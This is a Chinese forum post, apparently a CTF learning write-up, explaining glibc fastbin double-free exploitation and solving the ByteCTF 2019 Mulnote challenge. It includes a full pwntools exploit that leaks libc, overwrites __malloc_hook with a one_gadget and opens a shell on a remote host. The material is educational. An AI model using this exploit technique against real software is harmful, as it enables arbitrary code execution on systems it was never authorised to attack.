学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-6-4 18:01:38 | 查看: 6622| 回复: 4

相关题目:

  最近一直在学习堆的利用,我是按照蓝莲花战队队员Atum 的规划路线进行学习的,感觉大佬介绍的方法和路线相当好,让我这个萌新成长了不少。我将继续按照他的这个规划走下去,当然,肯定少不了自己的摸索,毕竟规划只是一个方向,最重要的还是自己去实践。我会继续把我的学习过程和心得分享出来,方便那些像我这样的菜鸟可以更快的成长起来。值得注意的是,在学习堆的漏洞利用之前,应该先读一读《glibc内存管理ptmalloc源代码分析.pdf》的内容。
fastbin double freedouble free 原理  简单的说,double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free,有什么用呢?利用这个漏洞,我们可以达成任意地址写的目的。
  为了照顾萌新,我再温习一下基本概念,大佬可以忽视。
  malloc_chunk 的源码如下:
[pre]struct malloc_chunk {
INTERNAL_SIZE_T prev_size;  /*前一个chunk的大小*/
INTERNAL_SIZE_T size;       /*当前chunk的大小*/
struct malloc_chunk * fd;   /*指向前一个释放的chunk*/
struct malloc_chunk * bk;   /*指向后一个释放的chunk*/
}
[/pre]
  《glibc内存管理ptmalloc源代码分析.pdf》中要用到的关于fastbin回收机制相关知识点如下:
1.free函数  free()函数free掉chunk时先判断 chunk 的大小和所处的位置,若 chunk_size <= max_fast,并且 chunk 并不位于 heap 的顶部,也就是说并不与 top chunk 相邻,则将 chunk 放到 fast bins 中,chunk 放入到 fast bins 中,释放便结束了,程序从 free()函数中返回。
2.ptmalloc 的响应  判断所需分配chunk的大小是否满足chunk_size <= max_fast (max_fast 默认为 64B), 如果是的话,先尝试在 fast bins 中取一个所需大小的 chunk 分配给用户。
double free 利用思路  fastbin 是 LIFO 的数据结构,使用单向链表实现。根据fastbin 的特性,释放的chunk 会以单向链表的形式回收到fastbin 里面,我们先free同一块chunk 两次,然后malloc 大小一样对的chunk,此时这个内存块还是在fastbin上面的,这时我们就可以肆意修改fd指针了,让它指向我们想指向的地方,然后再进行2次malloc大小一样的堆块,我们可以分配到fd所指的的内存区域块,即我们想要控制的内存块。
  但操作系统有相应的检查,直接free两次是不行的,但根据它检查的特性,我们只要伪造一个chunk 就可以绕过检查,绕过检查的原理如下图所示,菜鸟我画的,请大师傅们别喷哈。参考的资料https://blog.csdn.net/zh_explorer/article/details/80307030

pwn学习系列之double free

pwn学习系列之double free
  其中,chunk1 是要double free 的内存块,chunk2 是我们伪造的堆块,第一个单向链表是进行三次的free后fastbin 链表,第二个单向链表经过malloc (chunk1的大小),第三个单向链表经过了三次malloc,要注意的是每次malloc 都应该要返回相应的chunk才能达到我们的目的,所以每次malloc 的大小最好是一样的 。
实例:ByteCTF 2019  Mulnote  这道题完全是为学习double free 原理提供的,漏洞清晰,套路明显。
  首先checksec,开启NX
[pre]gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL[/pre]  题目提供了一个选择栏目

pwn学习系列之double free

pwn学习系列之double free
  存在double free 漏洞的函数

pwn学习系列之double free

pwn学习系列之double free
  思路分析:多线程,存在double free 漏洞,所以可以先申请一个0x80 的chunk0,释放后show (chunk0),泄露libc 地址,然后利用double free 实现任意地址写,然后修改__malloc_hook 为execue。
1.泄露libc 地址[pre]add(0x80,'abc')
delete(0)
show(0)
p.recvuntil("
  • note[0]:\n")
    address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
    print  "address:" + hex(address)

    libc_Addr = address-(0x7ffff7bb4b78-0x7ffff77f0000)
    [/pre]
      这里利用了unsorted bin 的特性泄露libc地址。
    2.利用double free,修改__malloc_hook[pre]add(0x60,'/bin/sh') #1
    add(0x60,'/bin/sh') #2

    delete(1)
    delete(2)
    delete(1)

    add(0x60,p64(hackadd)) #3
    add(0x60,'/bin/sh\x00') #4
    add(0x60,p64(hackadd )) #5
    add(0x60,'a'*0xb+'a'*0x8+p64(one))
    [/pre]
      这里add(0x60,'a'0xb+'a'0x8+p64(one)) 的时候要注意调试,因为我们想控制的malloc _hook 的这块内存必须要满足chunk的size 域才能成功的malloc,这里需要自己动手去实践,看malloc_hook 函数附件的内存区域是否满足。这里贴出我调试的满足区域。

    pwn学习系列之double free

    pwn学习系列之double free
      所以:hackadd = 0x7ffff7bb4b10 - 0x20 - 0x3 = __malloc_hook - 0x20 - 0x3
      完整exp:
    [pre]from pwn import*

    #p = process("./mulnote")
    p = remote("112.126.101.96",9999)

    a = ELF("./libc.so")
    context.log_level = 'debug'


    def add(leng,content):
    p.recvuntil(">")
    p.sendline("C")
    p.recvuntil("size>")
    p.sendline(str(leng))
    p.recvuntil("note>")
    p.sendline(content)
    def edit(idx):
    p.recvuntil("[Q]uit\n>")
    p.sendline("C")
    p.recvuntil("index>")
    p.sendline(str(idx))

    def delete(idx):
    p.recvuntil("[Q]uit\n>")
    p.sendline("R")
    p.recvuntil("index>")
    p.sendline(str(idx))

    def show(idx):
    p.recvuntil("[Q]uit\n>")
    p.sendline("S")


    add(0x80,'abc')
    #gdb.attach(p,'b *0x5555555558ae')
    delete(0)
    show(0)
    p.recvuntil("
  • note[0]:\n")
    address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
    print  "address:" + hex(address)

    libc_Addr = address-(0x7ffff7bb4b78-0x7ffff77f0000)

    __malloc_hook=libc_Addr+a.symbols['__malloc_hook']
    system = a.symbols['system'] + libc_Addr
    print  "system :" + hex(system)
    #0x7ffff7835390#\0x45216#0x4526a0xf02a4#0xf1147
    one =  libc_Addr+0x4526a#0x45216#0x4526a#0xf02a4#0xf1147
    hackadd = __malloc_hook-0x20-0x3

    add(0x60,'/bin/sh') #1
    add(0x60,'/bin/sh') #2

    delete(1)
    delete(2)
    delete(1)

    free_got = 0x201F58
    bss = 0x202010
    add(0x60,p64(hackadd)) #3
    add(0x60,'/bin/sh\x00') #4
    add(0x60,p64(hackadd )) #5
    add(0x60,'a'*0xb+'a'*0x8+p64(one))
    #gdb.attach(p)
    #add(0x60,'a'*0xb)
    p.recvuntil(">")
    p.sendline("C")
    p.recvuntil("size>")
    p.sendline(str(0x60))
    p.interactive()
    [/pre]
    学习体会  堆的漏洞利用真的是一门艺术,感觉基础知识比较重要,如果不熟悉相关数据结构,到后续的堆喷和堆风水等内容学习会比较吃力,所以建议真的要好好把基础知识学懂弄通。fastbin double free 只是刚刚开始而已,后续还会分享更多精彩内容。题目和学习资料见附件。
    游客,如果您要查看本帖隐藏内容请回复

    游客,如果您要查看本帖隐藏内容请回复



  • 温馨提示:
    1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
    2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
    3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
    论坛交流群:672619046
    发表于 2020-6-5 08:52:28
    感谢分享

      发表于 2020-6-5 11:44:07
      感谢分享,我会认真学习的!

        发表于 2021-2-15 08:45:29
        666666666666666666666666666666

          发表于 2021-9-16 15:41:17
          感谢分享

          小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

          GMT+8, 2024-4-24 10:51 , Processed in 1.161384 second(s), 66 queries .

          Powered by Discuz! X3.4

          Copyright © 2001-2021, Tencent Cloud.

          快速回复 返回顶部 返回列表